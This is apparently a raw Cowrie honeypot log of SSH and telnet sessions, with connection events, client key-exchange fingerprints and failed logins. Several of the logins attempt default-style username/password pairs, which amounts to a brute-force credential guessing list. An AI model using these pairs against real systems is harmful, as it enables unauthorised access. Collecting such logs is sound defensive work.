128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:02.135617Z","src_ip":"45.153.34.195","session":"c65c23cde4cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin!@#","message":"login attempt [ubuntu/Admin!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:02.297072Z","src_ip":"91.92.40.36","session":"418141485f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cc","password":"123456","message":"login attempt [cc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:02.409754Z","src_ip":"45.153.34.195","session":"c65c23cde4cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:03.493573Z","src_ip":"45.153.34.195","session":"c65c23cde4cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.967504501342773,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:04.522146Z","src_ip":"205.210.31.30","session":"4efeb560a905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47380,"dst_ip":"10.17.0.5","dst_port":22,"session":"601a7893dcb9","protocol":"ssh","message":"New connection: 45.153.34.195:47380 (10.17.0.5:22) [session: 601a7893dcb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:05.013080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:05.038892Z","src_ip":"45.153.34.195","session":"601a7893dcb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:05.168215Z","src_ip":"45.153.34.195","session":"601a7893dcb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18720,"dst_ip":"159.203.135.109","dst_port":22,"session":"608e9dc81f85","protocol":"ssh","message":"New connection: 91.92.40.36:18720 (159.203.135.109:22) [session: 608e9dc81f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:05.227853Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc4rfv","message":"login attempt [root/!QAZ2wsx3edc4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:05.540132Z","src_ip":"45.153.34.195","session":"601a7893dcb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.1","message":"Connection lost after 19.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:05.885637Z","src_ip":"91.92.40.36","session":"418141485f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:06.642664Z","src_ip":"45.153.34.195","session":"601a7893dcb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47396,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c008668df66","protocol":"ssh","message":"New connection: 45.153.34.195:47396 (10.17.0.5:22) [session: 7c008668df66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:07.814494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:07.974306Z","src_ip":"45.153.34.195","session":"7c008668df66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:08.067546Z","src_ip":"45.153.34.195","session":"7c008668df66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Admin@9000","message":"login attempt [user/Admin@9000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:08.308976Z","src_ip":"91.92.40.36","session":"4d009dc651b1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:08.317407Z","src_ip":"91.92.40.36","session":"608e9dc81f85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:08.321839Z","src_ip":"91.92.40.36","session":"608e9dc81f85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:08.596400Z","src_ip":"45.153.34.195","session":"7c008668df66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:09.706811Z","src_ip":"45.153.34.195","session":"7c008668df66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47402,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef009ca4ff1d","protocol":"ssh","message":"New connection: 45.153.34.195:47402 (10.17.0.5:22) [session: ef009ca4ff1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:10.764352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:10.819690Z","src_ip":"45.153.34.195","session":"ef009ca4ff1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:11.023526Z","src_ip":"45.153.34.195","session":"ef009ca4ff1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41376,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb03a8490e1a","protocol":"ssh","message":"New connection: 91.92.40.36:41376 (159.203.135.109:22) [session: eb03a8490e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:11.219496Z"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123","message":"login attempt [runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:11.436477Z","src_ip":"45.153.34.195","session":"ef009ca4ff1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.6","message":"Connection lost after 19.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:12.066108Z","src_ip":"91.92.40.36","session":"4d009dc651b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:12.611645Z","src_ip":"45.153.34.195","session":"ef009ca4ff1d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:13.529111Z","src_ip":"91.92.40.36","session":"eb03a8490e1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:13.532283Z","src_ip":"91.92.40.36","session":"eb03a8490e1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40438,"dst_ip":"10.17.0.5","dst_port":22,"session":"e42c34116841","protocol":"ssh","message":"New connection: 45.153.34.195:40438 (10.17.0.5:22) [session: e42c34116841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:13.703492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:13.712629Z","src_ip":"45.153.34.195","session":"e42c34116841","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:13.818472Z","src_ip":"45.153.34.195","session":"e42c34116841","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"abc123","message":"login attempt [sam/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:14.337659Z","src_ip":"45.153.34.195","session":"e42c34116841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:15.427401Z","src_ip":"45.153.34.195","session":"e42c34116841","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21322,"dst_ip":"159.203.135.109","dst_port":22,"session":"f92d555958bd","protocol":"ssh","message":"New connection: 91.92.40.36:21322 (159.203.135.109:22) [session: f92d555958bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:16.450981Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40440,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5f975adeb39","protocol":"ssh","message":"New connection: 45.153.34.195:40440 (10.17.0.5:22) [session: a5f975adeb39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:16.722816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:16.736014Z","src_ip":"45.153.34.195","session":"a5f975adeb39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:16.837577Z","src_ip":"45.153.34.195","session":"a5f975adeb39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.569111347198486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:17.178370Z","src_ip":"156.226.172.133","session":"f01dde894eb4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"www","password":"www123","message":"login attempt [www/www123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:17.303368Z","src_ip":"45.153.34.195","session":"a5f975adeb39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:18.387884Z","src_ip":"45.153.34.195","session":"a5f975adeb39","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:19.076746Z","src_ip":"91.92.40.36","session":"f92d555958bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:19.080045Z","src_ip":"91.92.40.36","session":"f92d555958bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"password","password":"password","message":"login attempt [password/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:19.608247Z","src_ip":"91.92.40.36","session":"608e9dc81f85","protocol":"ssh"}
